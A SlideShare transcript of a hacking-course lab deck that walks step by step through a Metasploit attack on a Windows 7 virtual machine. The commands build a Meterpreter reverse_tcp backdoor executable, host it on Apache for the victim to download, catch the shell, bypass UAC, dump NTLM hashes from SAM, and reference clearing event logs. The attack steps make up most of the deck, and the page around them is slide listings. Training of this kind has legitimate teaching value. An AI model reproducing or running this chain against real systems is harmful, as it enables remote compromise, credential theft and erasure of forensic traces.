SlideShare a Scribd company logo
1
WWW.Prohackers.in
Lab-4
“Privileges Esclation by
Exploiting Client Side
Vulnerabilities using
Metasploit”
By:
-Vishal Kumar
(CEH, CHFI, CISE, MCP)
info@prohackers.in
2
WWW.Prohackers.in
Table of content
1. Lab Scenario
2. Lab Objective
3. Overview of Lab
4. Lab Tasks
3.1 Task 01 :- Start postgresql and metasploit services
3.2 Task 02 : - Share Exploit.exe file
3.3 Task 03 : - Perform Exploitation
3.4 Task 04 : - Run the Exploit
3.4 Task 05 : - Establish a session
3
WWW.Prohackers.in
Task 01:- Start postgresql and metasploit services.
4
WWW.Prohackers.in
Note:- before performing this lab, log in to Kali-Linux virtual machine, click places →
Computer. Navigate to File System → etc → apache2, open apache2.conf, enter the
command servername localhost in a new line and save the file.
 Launch window 7 and login to its administrator account.
 Switch to Kali-Linux virtual machine and log in to it. Launch a command terminal,
and type the command service postgresql start and press Enter.
Now, type the other command service metasploit start and press Enter.
 ype the command msfconsole and press Enter to launch msfconsole.

Type the command msfpayload windows/meterpreter/reverse_tcp LHOST=(IP of
Kali-Linux) X > Desktop/Exploit.exe in msfconsole, and press Enter.
5
WWW.Prohackers.in
Tip: - Metasploit Framework is a tool for developing and executing exploit code against a remote target
machine.
The above command will create a Windows executable file named “Exploit.exe” and will be
saved in Kali-Linux Desktop.
Task 02:- Share Exploit.exe file.
6
WWW.Prohackers.in
 Now you need to share Exploit.exe with the victim machine (in this lab we are using
Windows 7 virtual machine as a victim machine).
Open a new command line terminal, type the command mkdir /var/www/share and press
Enter to create a new directory named Share.
Tip: - To create a new directory share in www folder, following command is used: mkdir /var/www/share.
 Change the mode of the share folder to 755 by typing the command chmode -R 755
/var/www/share and press Enter
Tip: - To change the mode of a share directory/folder, use the following command: chmode -R 755
/var/www/share/.
 Change the ownership of that folder to www-data, by typing the command chown -
R www-data:www-data /var/www/share/ and press Enter.
Tip: - To change the ownership of folder into www, use the following command: chown -R www-data
/var/www/share/.
 Type the command ls -la /var/www/ | grep share and press Enter
7
WWW.Prohackers.in
 The next step is to start the apache server. Type the command service apache2
start in terminal and press Enter.
 Now, that the apache web server is running, copy Exploit.exe into the share folder.
Type the command cp /root/Desktop/Exploit.exe /var/www/share/ in the
terminal, and press Enter
Note:- To run the apache web server, use the following command:
cp/root/.msf4/data/exploits/*/var/www/share/.
Task 03:- Perform Exploitation.
 Switch back to msfconsole terminal to create a handler. Type use
exploit/multi/handler and press Enter, to handle exploits launched outside the
framework.
 Now, issue the following commands:
o Type set payload windows/meterpreter/reverse_tcp and press Enter.
Type set LHOST x.x.x.x (Kali-Linux IP address) and press Enter.
8
WWW.Prohackers.in
 To start handler type the command: exploit -j -z and press Enter.
Task 04:- Run the Exploit.
 Now, switch to windows 7 virtual machine.
 Launch web browser, and type the URL http://192.168.121.129/share/ in the address
bar and press Enter
 You will be redirected to the apache index webpage. Click Exploit.exe link to download the
backdoor file
 The opening Exploit.exe pop-up appears, click Save File.
 On completion of the download, a download notification appears in the browser.
Click the Open Containing Folder icon.
Tip:- To interact with the available session, you can use session -i <session_ID>.
9
WWW.Prohackers.in
 Double-click Exploit.exe. If an open file - security warning appears, click Run.
 Switch back to Kali-Linux machine. Meterpreter session has been successfully
opened, as shown in the following screenshot.
Task 05:- Establish a session.
Type session -i 1 and press Enter. (1 in session -i 1 command is the ID number of the
session ). Meterpreter shell is launched, as shown in the following screenshot.
 Type getuid and press Enter. This displays the current user ID, as shown in the screenshot
10
WWW.Prohackers.in
 You will observe that the Meterpreter server is running with normal user privileges.
 You will not be able to execute the commands (such as run hashdump, which dumps
the user account hashes located in the SAM file; clearev, which clear the event logs
remotely; etc.) that require administrative. Root privileges.
 Let us check this by using run hashdump command.
 The command fails to dump the hashes from the SAM file located in the windows 7
and returns an error stating that access is denied.
 From this, it is evident that Meterpreter server requires admin privileges to
perform such actions.
 Now, we shall try to escalate the privileges by issuing getsystem command that
attempts to elevate the user privileges.
 The command issued is:
o Getsystem -t 1: which use the Service - Named Pipe Impersonation (In
Memory/Admin) Technique?
 The command fails to escalate privileges and return an error stating Access is
Denied.
11
WWW.Prohackers.in
 From the above result, it is evident that the security configuration of the Windows
7 machine is blocking you from gaining unrestricted access to it.
 Now, we shall try to bypass the user account control setting that is blocking you.
You will now:
o Background the current meterpreter session,
o Use the bypassuac exploit for windows,
o Set meterpreter/reverse_tcp payload,
o Configure the exploit and payload,
o Exploit the machine using the above configuration payload in attempt to
elevate the privileges.
 Type background and press Enter. This command background the current meterpreter
session
 Type use exploit/windows/local/bypassuac and press Enter. Here you need to configure
the exploit. To know what all options you need to configuration in the exploit, type show
options and press Enter
 The Module options section appears, displaying the requirements for the exploit.
You will observe that:
12
WWW.Prohackers.in
o The SESSION option is required, but the current setting is empty. Here,
you need to set the current meterpreter session that is obtained during the
exploiting (i.e session 1).
o The TECHNIQUE option is required, but the current setting is already set
to EXE, so ignore this option.
 Type set SESSION 1 (1 is the current meterpreter session which was
backgrounded in this lab) and press Enter
 Now, that we have configured the exploit, our next step will be to set a payload and
configure it.
 Type set payload windows/meterpreter/reverse_tcp and press Enter, to set the
meterpreter/reverse_tcp payload.
 The next step is to configure this payload. To know all the options you need to
configure in the exploit, type show options and press Enter.
13
WWW.Prohackers.in
 The Module options section appears, displaying the requirements for the exploit.
You will observe that:
o The SESSION option is required, but the current setting is empty. Here,
you need to set the current meterpreter session that is obtained during the
exploiting (i.e session 1).
o The TECHNIQUE option is required, but the current setting is already set
to EXE, so ignore this option.
 Type set SESSION 1 (1 is the current meterpreter session which was
backgrounded in this lab) and press Enter
14
WWW.Prohackers.in
 Now, that we have configured the exploit, our next step will be to set a payload and
configure it.
 Type set payload windows/meterpreter/reverse_tcp and press Enter, to set the
meterpreter/reverse_tcp payload.
 The next step is to configure this payload. To know all the options you need to
configure in the exploit, type show options and press Enter
15
WWW.Prohackers.in
 The Module options section appears, displaying the previously configured exploit.
Here you can observe that the session value is set.
 The Payload options sections displays the requirement for the payload. Observe
that:
o LHOST option is required, but the current setting is empty, here you need to
set the IP address of the local host i.e. Kali-Linux ip address.
o EXITFUNC option is required but the current setting is already set to
precess, so ignore this options.
o LPORT option is required, but the current setting is already set to port
number 4444, so ignore this option.
 To set the LHOST option, type set LHOST 192.168.121.129 and press Enter.
 You have successfully configured the exploit and payload. Type exploit and press
Enter. This begins to exploit the UAC settings in windows 7 machine.
 As you can see, BypassUAC exploit has successfully bypass the UAC settings on
windows 7 machine; you have now successfully attained a meterpreter session.
 Now, let us check the current User ID statue of meterpreter. You will observe that
Meterpreter server is still running with normal user privileges. Type getuid and press
Enter.
16
WWW.Prohackers.in
 Let us check if we have successfully attained the SYSTEM/admin privileges by
issuing a meterpreter command that require these privileges in order to be
executed.
 For instance, we shall try to obtain hashes located in SAM file of windows 7. Type
the command run hashdump and press Enter, this time meterpreter successfully
extracted the NTLM hashes and display them as shown in the following screenshot.
 Thus you have successfully escalate the privileges by exploiting windows 7 machine’s
vulnerability.
 You can now execute commands (clearev, which clears the event logs remotely, etc)
that require administrative/ root privileges
17
WWW.Prohackers.in
Tool/Utility Information Collected/Objectives
Achieved
Metasploit Framework Console
(msfconsole)
IP Address Range/target:- Windows
7 machine
Scan Result:-
 Hacking windows 7.
 Escalating the privileges.
 Extracting the NTLM Hashes from the
SAM file.
 Clear the event log.
Thanks for reading this presentation
Please give us your feedback at
info@prohackers.in
Your feedback is most valuable for us for improving the presentation
You can also suggest the topic on which you want the presentation
Website: www.prohackers.in
FB page: www.facebook.com/theprohackers2017
Join FB Group: www.facebook.com/groups/group.prohackers/
Watch us on: www.youtube.com//channel/UCcyYSi1sh1SmyMlGfB-Vq6A
***Thanks***
Ad

Recommended

Android audio system(audioflinger)
Android audio system(audioflinger)
fefe7270
 
Android audio system(audioplicy_service)
Android audio system(audioplicy_service)
fefe7270
 
Thread priority in java
Thread priority in java
Rakesh Mittal
 
Linux Kernel Development
Linux Kernel Development
Priyank Kapadia
 
User and group administration in Linux
User and group administration in Linux
Mohammed Yazdani
 
Helpful logging with python
Helpful logging with python
roskakori
 
Linux.ppt
Linux.ppt
onu9
 
Getting Data into Splunk
Getting Data into Splunk
Splunk
 
JVM Memory Management Details
JVM Memory Management Details
Azul Systems Inc.
 
Linux Memory Management
Linux Memory Management
Ni Zo-Ma
 
55 New Features in Java SE 8
55 New Features in Java SE 8
Simon Ritter
 
Android Services Black Magic by Aleksandar Gargenta
Android Services Black Magic by Aleksandar Gargenta
Marakana Inc.
 
Polymorphism in Java by Animesh Sarkar
Polymorphism in Java by Animesh Sarkar
Animesh Sarkar
 
Linux commands
Linux commands
penetration Tester
 
A deep dive into libuv
A deep dive into libuv
Saúl Ibarra Corretgé
 
Memory management in linux
Memory management in linux
Dr. C.V. Suresh Babu
 
Java 8 features
Java 8 features
NexThoughts Technologies
 
Exception handling
Exception handling
Tata Consultancy Services
 
Java- JDBC- Mazenet Solution
Java- JDBC- Mazenet Solution
Mazenetsolution
 
Apache kafka 모니터링을 위한 Metrics 이해 및 최적화 방안
Apache kafka 모니터링을 위한 Metrics 이해 및 최적화 방안
SANG WON PARK
 
windows system tool (1).pdf
windows system tool (1).pdf
CrisAngeleCeballos
 
Exception Handling in JAVA
Exception Handling in JAVA
SURIT DATTA
 
Android audio system(audiopolicy_manager)
Android audio system(audiopolicy_manager)
fefe7270
 
Android audio system(오디오 출력-트랙생성)
Android audio system(오디오 출력-트랙생성)
fefe7270
 
Customizing AOSP For Different Embedded Devices And Integration at Applicatio...
Customizing AOSP For Different Embedded Devices And Integration at Applicatio...
ijafrc
 
Slideshare - linux crypto
Slideshare - linux crypto
Jin Wu
 
ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,...
ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,...
Mario Heiderich
 
Linux Performance Analysis and Tools
Linux Performance Analysis and Tools
Brendan Gregg
 
Exploiting Client-Side Vulnerabilities and Establishing a VNC Session
Exploiting Client-Side Vulnerabilities and Establishing a VNC Session
Vishal Kumar
 
P3.docx
P3.docx
IsaacMwangi25
 

More Related Content

What's hot (20)

JVM Memory Management Details
JVM Memory Management Details
Azul Systems Inc.
 
Linux Memory Management
Linux Memory Management
Ni Zo-Ma
 
55 New Features in Java SE 8
55 New Features in Java SE 8
Simon Ritter
 
Android Services Black Magic by Aleksandar Gargenta
Android Services Black Magic by Aleksandar Gargenta
Marakana Inc.
 
Polymorphism in Java by Animesh Sarkar
Polymorphism in Java by Animesh Sarkar
Animesh Sarkar
 
Linux commands
Linux commands
penetration Tester
 
A deep dive into libuv
A deep dive into libuv
Saúl Ibarra Corretgé
 
Memory management in linux
Memory management in linux
Dr. C.V. Suresh Babu
 
Java 8 features
Java 8 features
NexThoughts Technologies
 
Exception handling
Exception handling
Tata Consultancy Services
 
Java- JDBC- Mazenet Solution
Java- JDBC- Mazenet Solution
Mazenetsolution
 
Apache kafka 모니터링을 위한 Metrics 이해 및 최적화 방안
Apache kafka 모니터링을 위한 Metrics 이해 및 최적화 방안
SANG WON PARK
 
windows system tool (1).pdf
windows system tool (1).pdf
CrisAngeleCeballos
 
Exception Handling in JAVA
Exception Handling in JAVA
SURIT DATTA
 
Android audio system(audiopolicy_manager)
Android audio system(audiopolicy_manager)
fefe7270
 
Android audio system(오디오 출력-트랙생성)
Android audio system(오디오 출력-트랙생성)
fefe7270
 
Customizing AOSP For Different Embedded Devices And Integration at Applicatio...
Customizing AOSP For Different Embedded Devices And Integration at Applicatio...
ijafrc
 
Slideshare - linux crypto
Slideshare - linux crypto
Jin Wu
 
ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,...
ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,...
Mario Heiderich
 
Linux Performance Analysis and Tools
Linux Performance Analysis and Tools
Brendan Gregg
 
JVM Memory Management Details
JVM Memory Management Details
Azul Systems Inc.
 
Linux Memory Management
Linux Memory Management
Ni Zo-Ma
 
55 New Features in Java SE 8
55 New Features in Java SE 8
Simon Ritter
 
Android Services Black Magic by Aleksandar Gargenta
Android Services Black Magic by Aleksandar Gargenta
Marakana Inc.
 
Polymorphism in Java by Animesh Sarkar
Polymorphism in Java by Animesh Sarkar
Animesh Sarkar
 
Java- JDBC- Mazenet Solution
Java- JDBC- Mazenet Solution
Mazenetsolution
 
Apache kafka 모니터링을 위한 Metrics 이해 및 최적화 방안
Apache kafka 모니터링을 위한 Metrics 이해 및 최적화 방안
SANG WON PARK
 
Exception Handling in JAVA
Exception Handling in JAVA
SURIT DATTA
 
Android audio system(audiopolicy_manager)
Android audio system(audiopolicy_manager)
fefe7270
 
Android audio system(오디오 출력-트랙생성)
Android audio system(오디오 출력-트랙생성)
fefe7270
 
Customizing AOSP For Different Embedded Devices And Integration at Applicatio...
Customizing AOSP For Different Embedded Devices And Integration at Applicatio...
ijafrc
 
Slideshare - linux crypto
Slideshare - linux crypto
Jin Wu
 
ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,...
ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,...
Mario Heiderich
 
Linux Performance Analysis and Tools
Linux Performance Analysis and Tools
Brendan Gregg
 

Similar to Privileges Escalation by Exploiting Client-Side Vulnerabilities Using Metasploit (20)

Exploiting Client-Side Vulnerabilities and Establishing a VNC Session
Exploiting Client-Side Vulnerabilities and Establishing a VNC Session
Vishal Kumar
 
P3.docx
P3.docx
IsaacMwangi25
 
Penetration Testing and Intrusion Detection System
Penetration Testing and Intrusion Detection System
Bikrant Gautam
 
CNIT 124 Ch 13: Post Exploitation (Part 1)
CNIT 124 Ch 13: Post Exploitation (Part 1)
Sam Bowne
 
Client side exploits
Client side exploits
nickyt8
 
OSCP Preparation Guide @ Infosectrain
OSCP Preparation Guide @ Infosectrain
InfosecTrain
 
Windows xp compromise and remedies
Windows xp compromise and remedies
Bikrant Gautam
 
Metasploit
Metasploit
Raghunath G
 
Cyber Security and Ethical hacking 16
Cyber Security and Ethical hacking 16
Shekh Md Mehedi Hasan
 
Google Hacking Lab ClassNameDate This is an introducti.docx
Google Hacking Lab ClassNameDate This is an introducti.docx
whittemorelucilla
 
Hacking Highly Secured Enterprise Environments by Zoltan Balazs
Hacking Highly Secured Enterprise Environments by Zoltan Balazs
Shakacon
 
DEFCON 22: Bypass firewalls, application white lists, secure remote desktops ...
DEFCON 22: Bypass firewalls, application white lists, secure remote desktops ...
Zoltan Balazs
 
Metasploit for Penetration Testing: Beginner Class
Metasploit for Penetration Testing: Beginner Class
Georgia Weidman
 
Compromising windows 8 with metasploit’s exploit
Compromising windows 8 with metasploit’s exploit
IOSR Journals
 
Enter The back|track Linux Dragon
Enter The back|track Linux Dragon
Andrew Kozma
 
Hacker Halted 2014 - Post-Exploitation After Having Remote Access
Hacker Halted 2014 - Post-Exploitation After Having Remote Access
EC-Council
 
CRYPTOGRAPHY AND CYBER SECURITY LAB EXPERIMENTS
CRYPTOGRAPHY AND CYBER SECURITY LAB EXPERIMENTS
premalatha653332
 
BRISK_Network_Pentest_
BRISK_Network_Pentest_
BriskInfosec Solutions
 
Advanced-Penetration-TestinAPT With KALI Linux Course Content.pdf
Advanced-Penetration-TestinAPT With KALI Linux Course Content.pdf
Mansi Kandari
 
Advanced-Penetration-Testing_course_content
Advanced-Penetration-Testing_course_content
priyanshamadhwal2
 
Exploiting Client-Side Vulnerabilities and Establishing a VNC Session
Exploiting Client-Side Vulnerabilities and Establishing a VNC Session
Vishal Kumar
 
Penetration Testing and Intrusion Detection System
Penetration Testing and Intrusion Detection System
Bikrant Gautam
 
CNIT 124 Ch 13: Post Exploitation (Part 1)
CNIT 124 Ch 13: Post Exploitation (Part 1)
Sam Bowne
 
Client side exploits
Client side exploits
nickyt8
 
OSCP Preparation Guide @ Infosectrain
OSCP Preparation Guide @ Infosectrain
InfosecTrain
 
Windows xp compromise and remedies
Windows xp compromise and remedies
Bikrant Gautam
 
Cyber Security and Ethical hacking 16
Cyber Security and Ethical hacking 16
Shekh Md Mehedi Hasan
 
Google Hacking Lab ClassNameDate This is an introducti.docx
Google Hacking Lab ClassNameDate This is an introducti.docx
whittemorelucilla
 
Hacking Highly Secured Enterprise Environments by Zoltan Balazs
Hacking Highly Secured Enterprise Environments by Zoltan Balazs
Shakacon
 
DEFCON 22: Bypass firewalls, application white lists, secure remote desktops ...
DEFCON 22: Bypass firewalls, application white lists, secure remote desktops ...
Zoltan Balazs
 
Metasploit for Penetration Testing: Beginner Class
Metasploit for Penetration Testing: Beginner Class
Georgia Weidman
 
Compromising windows 8 with metasploit’s exploit
Compromising windows 8 with metasploit’s exploit
IOSR Journals
 
Enter The back|track Linux Dragon
Enter The back|track Linux Dragon
Andrew Kozma
 
Hacker Halted 2014 - Post-Exploitation After Having Remote Access
Hacker Halted 2014 - Post-Exploitation After Having Remote Access
EC-Council
 
CRYPTOGRAPHY AND CYBER SECURITY LAB EXPERIMENTS
CRYPTOGRAPHY AND CYBER SECURITY LAB EXPERIMENTS
premalatha653332
 
Advanced-Penetration-TestinAPT With KALI Linux Course Content.pdf
Advanced-Penetration-TestinAPT With KALI Linux Course Content.pdf
Mansi Kandari
 
Advanced-Penetration-Testing_course_content
Advanced-Penetration-Testing_course_content
priyanshamadhwal2
 
Ad

More from Vishal Kumar (20)

Threat Hunting Procedures and Measurement Matrice
Threat Hunting Procedures and Measurement Matrice
Vishal Kumar
 
The Complete Questionnaires About Firewall
The Complete Questionnaires About Firewall
Vishal Kumar
 
E-mail Security Protocol - 2 Pretty Good Privacy (PGP)
E-mail Security Protocol - 2 Pretty Good Privacy (PGP)
Vishal Kumar
 
E-Mail Security Protocol - 1 Privacy Enhanced Mail (PEM) Protocol
E-Mail Security Protocol - 1 Privacy Enhanced Mail (PEM) Protocol
Vishal Kumar
 
Auditing System Password Using L0phtcrack
Auditing System Password Using L0phtcrack
Vishal Kumar
 
Dumping and Cracking SAM Hashes to Extract Plaintext Passwords
Dumping and Cracking SAM Hashes to Extract Plaintext Passwords
Vishal Kumar
 
Fundamental of Secure Socket Layer (SSL) | Part - 2
Fundamental of Secure Socket Layer (SSL) | Part - 2
Vishal Kumar
 
The Fundamental of Electronic Mail (E-mail)
The Fundamental of Electronic Mail (E-mail)
Vishal Kumar
 
Fundamental of Secure Socket Layer (SSl) | Part - 1
Fundamental of Secure Socket Layer (SSl) | Part - 1
Vishal Kumar
 
The Fundamental of Secure Socket Layer (SSL)
The Fundamental of Secure Socket Layer (SSL)
Vishal Kumar
 
Hawkeye the Credential Theft Maalware
Hawkeye the Credential Theft Maalware
Vishal Kumar
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL Injection
Vishal Kumar
 
Owasp top 10 security threats
Owasp top 10 security threats
Vishal Kumar
 
Exploiting parameter tempering attack in web application
Exploiting parameter tempering attack in web application
Vishal Kumar
 
Mirroring web site using ht track
Mirroring web site using ht track
Vishal Kumar
 
Collecting email from the target domain using the harvester
Collecting email from the target domain using the harvester
Vishal Kumar
 
Information gathering using windows command line utility
Information gathering using windows command line utility
Vishal Kumar
 
Introduction ethical hacking
Introduction ethical hacking
Vishal Kumar
 
Social engineering
Social engineering
Vishal Kumar
 
Social engineering
Social engineering
Vishal Kumar
 
Threat Hunting Procedures and Measurement Matrice
Threat Hunting Procedures and Measurement Matrice
Vishal Kumar
 
The Complete Questionnaires About Firewall
The Complete Questionnaires About Firewall
Vishal Kumar
 
E-mail Security Protocol - 2 Pretty Good Privacy (PGP)
E-mail Security Protocol - 2 Pretty Good Privacy (PGP)
Vishal Kumar
 
E-Mail Security Protocol - 1 Privacy Enhanced Mail (PEM) Protocol
E-Mail Security Protocol - 1 Privacy Enhanced Mail (PEM) Protocol
Vishal Kumar
 
Auditing System Password Using L0phtcrack
Auditing System Password Using L0phtcrack
Vishal Kumar
 
Dumping and Cracking SAM Hashes to Extract Plaintext Passwords
Dumping and Cracking SAM Hashes to Extract Plaintext Passwords
Vishal Kumar
 
Fundamental of Secure Socket Layer (SSL) | Part - 2
Fundamental of Secure Socket Layer (SSL) | Part - 2
Vishal Kumar
 
The Fundamental of Electronic Mail (E-mail)
The Fundamental of Electronic Mail (E-mail)
Vishal Kumar
 
Fundamental of Secure Socket Layer (SSl) | Part - 1
Fundamental of Secure Socket Layer (SSl) | Part - 1
Vishal Kumar
 
The Fundamental of Secure Socket Layer (SSL)
The Fundamental of Secure Socket Layer (SSL)
Vishal Kumar
 
Hawkeye the Credential Theft Maalware
Hawkeye the Credential Theft Maalware
Vishal Kumar
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL Injection
Vishal Kumar
 
Owasp top 10 security threats
Owasp top 10 security threats
Vishal Kumar
 
Exploiting parameter tempering attack in web application
Exploiting parameter tempering attack in web application
Vishal Kumar
 
Mirroring web site using ht track
Mirroring web site using ht track
Vishal Kumar
 
Collecting email from the target domain using the harvester
Collecting email from the target domain using the harvester
Vishal Kumar
 
Information gathering using windows command line utility
Information gathering using windows command line utility
Vishal Kumar
 
Introduction ethical hacking
Introduction ethical hacking
Vishal Kumar
 
Social engineering
Social engineering
Vishal Kumar
 
Social engineering
Social engineering
Vishal Kumar
 
Ad

Recently uploaded (20)

history of internet in nepal Class-8 (sparsha).pptx
history of internet in nepal Class-8 (sparsha).pptx
SPARSH508080
 
BitRecover OST to PST Converter Software
BitRecover OST to PST Converter Software
antoniogosling01
 
BASICS OF SAP _ ALL ABOUT SAP _WHY SAP OVER ANY OTHER ERP SYSTEM
BASICS OF SAP _ ALL ABOUT SAP _WHY SAP OVER ANY OTHER ERP SYSTEM
AhmadAli716831
 
Global Networking Trends, presented at the India ISP Conclave 2025
Global Networking Trends, presented at the India ISP Conclave 2025
APNIC
 
PROCESS FOR CREATION OF BUSINESS PARTNER IN SAP
PROCESS FOR CREATION OF BUSINESS PARTNER IN SAP
AhmadAli716831
 
inside the internet - understanding the TCP/IP protocol
inside the internet - understanding the TCP/IP protocol
shainweniton02
 
最新版美国特拉华大学毕业证(UDel毕业证书)原版定制
最新版美国特拉华大学毕业证(UDel毕业证书)原版定制
taqyea
 
The ARUBA Kind of new Proposal Umum .pptx
The ARUBA Kind of new Proposal Umum .pptx
andiwarneri
 
BroadLink Cloud Service introduction.pdf
BroadLink Cloud Service introduction.pdf
DevendraDwivdi1
 
Pitch PitchPitchPitchPitchPitchPitch.pptx
Pitch PitchPitchPitchPitchPitchPitch.pptx
157551
 
原版一样(ISM毕业证书)德国多特蒙德国际管理学院毕业证多少钱
原版一样(ISM毕业证书)德国多特蒙德国际管理学院毕业证多少钱
taqyed
 
Clive Dickens RedTech Public Copy - Collaborate or Die
Clive Dickens RedTech Public Copy - Collaborate or Die
Clive Dickens
 
Transmission Control Protocol (TCP) and Starlink
Transmission Control Protocol (TCP) and Starlink
APNIC
 
原版澳洲斯文本科技大学毕业证(SUT毕业证书)如何办理
原版澳洲斯文本科技大学毕业证(SUT毕业证书)如何办理
taqyed
 
ChatGPT_and_Its_Uses_Presentationss.pptx
ChatGPT_and_Its_Uses_Presentationss.pptx
Neha Prakash
 
ChatGPT A.I. Powered Chatbot and Popularization.pdf
ChatGPT A.I. Powered Chatbot and Popularization.pdf
StanleySamson1
 
Logging and Automated Alerting Webinar.pdf
Logging and Automated Alerting Webinar.pdf
ControlCase
 
原版一样(ANU毕业证书)澳洲澳大利亚国立大学毕业证在线购买
原版一样(ANU毕业证书)澳洲澳大利亚国立大学毕业证在线购买
Taqyea
 
IAREUOUSTPIDWHY$)CHARACTERARERWUEEJJSKWNSND
IAREUOUSTPIDWHY$)CHARACTERARERWUEEJJSKWNSND
notgachabite123
 
Almos Entirely Correct Mixing with Apps to Voting
Almos Entirely Correct Mixing with Apps to Voting
gapati2964
 
history of internet in nepal Class-8 (sparsha).pptx
history of internet in nepal Class-8 (sparsha).pptx
SPARSH508080
 
BitRecover OST to PST Converter Software
BitRecover OST to PST Converter Software
antoniogosling01
 
BASICS OF SAP _ ALL ABOUT SAP _WHY SAP OVER ANY OTHER ERP SYSTEM
BASICS OF SAP _ ALL ABOUT SAP _WHY SAP OVER ANY OTHER ERP SYSTEM
AhmadAli716831
 
Global Networking Trends, presented at the India ISP Conclave 2025
Global Networking Trends, presented at the India ISP Conclave 2025
APNIC
 
PROCESS FOR CREATION OF BUSINESS PARTNER IN SAP
PROCESS FOR CREATION OF BUSINESS PARTNER IN SAP
AhmadAli716831
 
inside the internet - understanding the TCP/IP protocol
inside the internet - understanding the TCP/IP protocol
shainweniton02
 
最新版美国特拉华大学毕业证(UDel毕业证书)原版定制
最新版美国特拉华大学毕业证(UDel毕业证书)原版定制
taqyea
 
The ARUBA Kind of new Proposal Umum .pptx
The ARUBA Kind of new Proposal Umum .pptx
andiwarneri
 
BroadLink Cloud Service introduction.pdf
BroadLink Cloud Service introduction.pdf
DevendraDwivdi1
 
Pitch PitchPitchPitchPitchPitchPitch.pptx
Pitch PitchPitchPitchPitchPitchPitch.pptx
157551
 
原版一样(ISM毕业证书)德国多特蒙德国际管理学院毕业证多少钱
原版一样(ISM毕业证书)德国多特蒙德国际管理学院毕业证多少钱
taqyed
 
Clive Dickens RedTech Public Copy - Collaborate or Die
Clive Dickens RedTech Public Copy - Collaborate or Die
Clive Dickens
 
Transmission Control Protocol (TCP) and Starlink
Transmission Control Protocol (TCP) and Starlink
APNIC
 
原版澳洲斯文本科技大学毕业证(SUT毕业证书)如何办理
原版澳洲斯文本科技大学毕业证(SUT毕业证书)如何办理
taqyed
 
ChatGPT_and_Its_Uses_Presentationss.pptx
ChatGPT_and_Its_Uses_Presentationss.pptx
Neha Prakash
 
ChatGPT A.I. Powered Chatbot and Popularization.pdf
ChatGPT A.I. Powered Chatbot and Popularization.pdf
StanleySamson1
 
Logging and Automated Alerting Webinar.pdf
Logging and Automated Alerting Webinar.pdf
ControlCase
 
原版一样(ANU毕业证书)澳洲澳大利亚国立大学毕业证在线购买
原版一样(ANU毕业证书)澳洲澳大利亚国立大学毕业证在线购买
Taqyea
 
IAREUOUSTPIDWHY$)CHARACTERARERWUEEJJSKWNSND
IAREUOUSTPIDWHY$)CHARACTERARERWUEEJJSKWNSND
notgachabite123
 
Almos Entirely Correct Mixing with Apps to Voting
Almos Entirely Correct Mixing with Apps to Voting
gapati2964
 

Privileges Escalation by Exploiting Client-Side Vulnerabilities Using Metasploit

  • 1. 1 WWW.Prohackers.in Lab-4 “Privileges Esclation by Exploiting Client Side Vulnerabilities using Metasploit” By: -Vishal Kumar (CEH, CHFI, CISE, MCP) [email protected]
  • 2. 2 WWW.Prohackers.in Table of content 1. Lab Scenario 2. Lab Objective 3. Overview of Lab 4. Lab Tasks 3.1 Task 01 :- Start postgresql and metasploit services 3.2 Task 02 : - Share Exploit.exe file 3.3 Task 03 : - Perform Exploitation 3.4 Task 04 : - Run the Exploit 3.4 Task 05 : - Establish a session
  • 3. 3 WWW.Prohackers.in Task 01:- Start postgresql and metasploit services.
  • 4. 4 WWW.Prohackers.in Note:- before performing this lab, log in to Kali-Linux virtual machine, click places → Computer. Navigate to File System → etc → apache2, open apache2.conf, enter the command servername localhost in a new line and save the file.  Launch window 7 and login to its administrator account.  Switch to Kali-Linux virtual machine and log in to it. Launch a command terminal, and type the command service postgresql start and press Enter. Now, type the other command service metasploit start and press Enter.  ype the command msfconsole and press Enter to launch msfconsole.  Type the command msfpayload windows/meterpreter/reverse_tcp LHOST=(IP of Kali-Linux) X > Desktop/Exploit.exe in msfconsole, and press Enter.
  • 5. 5 WWW.Prohackers.in Tip: - Metasploit Framework is a tool for developing and executing exploit code against a remote target machine. The above command will create a Windows executable file named “Exploit.exe” and will be saved in Kali-Linux Desktop. Task 02:- Share Exploit.exe file.
  • 6. 6 WWW.Prohackers.in  Now you need to share Exploit.exe with the victim machine (in this lab we are using Windows 7 virtual machine as a victim machine). Open a new command line terminal, type the command mkdir /var/www/share and press Enter to create a new directory named Share. Tip: - To create a new directory share in www folder, following command is used: mkdir /var/www/share.  Change the mode of the share folder to 755 by typing the command chmode -R 755 /var/www/share and press Enter Tip: - To change the mode of a share directory/folder, use the following command: chmode -R 755 /var/www/share/.  Change the ownership of that folder to www-data, by typing the command chown - R www-data:www-data /var/www/share/ and press Enter. Tip: - To change the ownership of folder into www, use the following command: chown -R www-data /var/www/share/.  Type the command ls -la /var/www/ | grep share and press Enter
  • 7. 7 WWW.Prohackers.in  The next step is to start the apache server. Type the command service apache2 start in terminal and press Enter.  Now, that the apache web server is running, copy Exploit.exe into the share folder. Type the command cp /root/Desktop/Exploit.exe /var/www/share/ in the terminal, and press Enter Note:- To run the apache web server, use the following command: cp/root/.msf4/data/exploits/*/var/www/share/. Task 03:- Perform Exploitation.  Switch back to msfconsole terminal to create a handler. Type use exploit/multi/handler and press Enter, to handle exploits launched outside the framework.  Now, issue the following commands: o Type set payload windows/meterpreter/reverse_tcp and press Enter. Type set LHOST x.x.x.x (Kali-Linux IP address) and press Enter.
  • 8. 8 WWW.Prohackers.in  To start handler type the command: exploit -j -z and press Enter. Task 04:- Run the Exploit.  Now, switch to windows 7 virtual machine.  Launch web browser, and type the URL http://192.168.121.129/share/ in the address bar and press Enter  You will be redirected to the apache index webpage. Click Exploit.exe link to download the backdoor file  The opening Exploit.exe pop-up appears, click Save File.  On completion of the download, a download notification appears in the browser. Click the Open Containing Folder icon. Tip:- To interact with the available session, you can use session -i <session_ID>.
